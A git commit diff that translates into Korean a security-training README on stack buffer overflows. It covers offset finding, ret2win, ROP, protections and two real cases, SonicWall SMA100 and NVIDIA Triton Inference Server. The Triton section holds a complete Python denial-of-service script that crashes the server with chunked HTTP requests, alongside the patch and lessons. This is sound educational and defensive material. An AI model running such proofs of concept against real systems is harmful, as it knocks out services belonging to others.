Translated ['src/binary-exploitation/stack-overflow/README.md'] to ko

This commit is contained in:
Translator 2025-08-20 02:44:55 +00:00
parent 45c5c33b17
commit 1ba577c4e3

View File

@ -10,7 +10,7 @@ A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터
취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사할 때** 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
이와 같은 취약점이 있는 일반적인 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약하게 사용될 수 있습니다.
이와 관련된 일반적인 취약 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약하게 사용될 수 있습니다.
예를 들어, 다음 함수들이 취약할 수 있습니다:
```c
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는** 것을 나타내는 `Segmentation Fault`를 기대하는 것입니다.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 수열**이 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 _n_의 모든 가능한 부분 수열이 정확히 한 번씩 연속 부분 수열로 나타나는 순환 수열**입니다.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 수열**이 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, 이는 **길이 _n_의 모든 가능한 부분 수열이 정확히 한 번씩 연속 부분 수열로 나타나는 순환 수열**입니다.
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 수열 중 하나를 패딩으로 사용하고, 그 패딩을 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## 스택 오버플로우 악용
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP 및 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP 및 EIP/RIP(또는 그 이상)**에 도달할 때까지 말이죠.\
이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 포인터로 리디렉션됩니다**.
그러나 다른 시나리오에서는 **스택의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
### Ret2win
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 바이너리 내에 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋을 찾고** 호출할 **함수의 주소를 찾기만 하면** 됩니다(일반적으로 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 비활성화됨). 따라서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 바이너리 내에 있으며, **이 함수를 호출해야 승리합니다**. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋을 찾고** 호출할 **함수의 주소를 찾기만 하면 됩니다**(일반적으로 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 비활성화됨) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
{{#ref}}
ret2win/
@ -73,7 +73,7 @@ stack-shellcode/
### ROP 및 Ret2... 기술
이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 기존 바이너리의 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 이는 기존 바이너리의 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
{{#ref}}
../rop-return-oriented-programing/
@ -89,7 +89,7 @@ stack-shellcode/
## 보호 유형
취약점 악용을 방지하기 위해 여러 가지 보호 장치가 있으며, 이를 확인할 수 있습니다:
취약점 악용을 방지하기 위해 여러 가지 보호 장치가 있으며, 이를 확인할 수 있습니다:
{{#ref}}
../common-binary-protections-and-bypasses/
@ -97,7 +97,7 @@ stack-shellcode/
### 실제 사례: CVE-2025-40596 (SonicWall SMA100)
**`sscanf`는 신뢰할 수 없는 입력을 파싱하는 데 결코 신뢰해서는 안 된다**는 좋은 사례가 2025년 SonicWall의 SMA100 SSL-VPN 장치에서 나타났습니다. `/usr/src/EasyAccess/bin/httpd` 내의 취약한 루틴은 `/__api__/`로 시작하는 URI에서 버전과 엔드포인트를 추출하려고 시도합니다.
**`sscanf`는 신뢰할 수 없는 입력을 파싱하는 데 절대 신뢰해서는 안 된다**는 좋은 사례가 2025년 SonicWall의 SMA100 SSL-VPN 장치에서 나타났습니다. `/usr/src/EasyAccess/bin/httpd` 내의 취약한 루틴은 `/__api__/`로 시작하는 URI에서 버전과 엔드포인트를 추출하려고 시도합니다.
```c
char version[3];
char endpoint[0x800] = {0};
@ -108,7 +108,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
2. 두 번째 변환(`%s`)은 **길이 지정자가 없으므로**, `sscanf`는 **첫 번째 NUL 바이트**까지 계속 복사합니다.
3. `endpoint`가 **스택**에 위치하고 **0x800 바이트 길이**이기 때문에, 0x800 바이트보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것을 손상시킵니다 **스택 카나리**와 **저장된 반환 주소**를 포함하여.
인증 **이전**에 충돌을 유발하기 위한 단일 행 개념 증명이 충분합니다:
인증 **이전**에 충돌을 유발하기 위해 단일 행의 개념 증명이 충분합니다:
```python
import requests, warnings
warnings.filterwarnings('ignore')
@ -120,7 +120,67 @@ requests.get(url, verify=False)
* 항상 **최대 필드 너비**를 제공하세요 (예: `%511s`).
* `snprintf`/`strncpy_s`와 같은 더 안전한 대안을 선호하세요.
## References
### 실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA의 Triton Inference Server (≤ v25.06)에는 HTTP API를 통해 접근할 수 있는 여러 **스택 기반 오버플로우**가 포함되어 있었습니다.
취약한 패턴은 `http_server.cc``sagemaker_server.cc`에서 반복적으로 나타났습니다:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent)은 현재 HTTP 요청 본체를 구성하는 **내부 버퍼 세그먼트의 수**를 반환합니다.
2. 각 세그먼트는 **상한선 없이** `alloca()`를 통해 **스택**에 **16바이트** `evbuffer_iovec`를 할당하게 합니다.
3. **HTTP _청크 전송 인코딩_**을 악용함으로써, 클라이언트는 요청을 **수십만 개의 6바이트 청크**(`"1\r\nA\r\n"`)로 나누도록 강제할 수 있습니다. 이로 인해 `n`은 스택이 소진될 때까지 무한히 증가합니다.
#### 개념 증명 (DoS)
```python
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
약 3 MB의 요청으로 저장된 반환 주소를 덮어쓰고 기본 빌드에서 데몬을 **충돌**시킬 수 있습니다.
#### 패치 및 완화
25.07 릴리스는 안전하지 않은 스택 할당을 **힙 기반 `std::vector`**로 교체하고 `std::bad_alloc`를 우아하게 처리합니다:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
교훈:
* 공격자가 제어하는 크기로 `alloca()`를 호출하지 마십시오.
* 청크 요청은 서버 측 버퍼의 형태를 극적으로 변경할 수 있습니다.
* 메모리 할당에 사용하기 전에 클라이언트 입력에서 파생된 값을 검증/제한하십시오.
## 참고문헌
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
{{#include ../../banners/hacktricks-training.md}}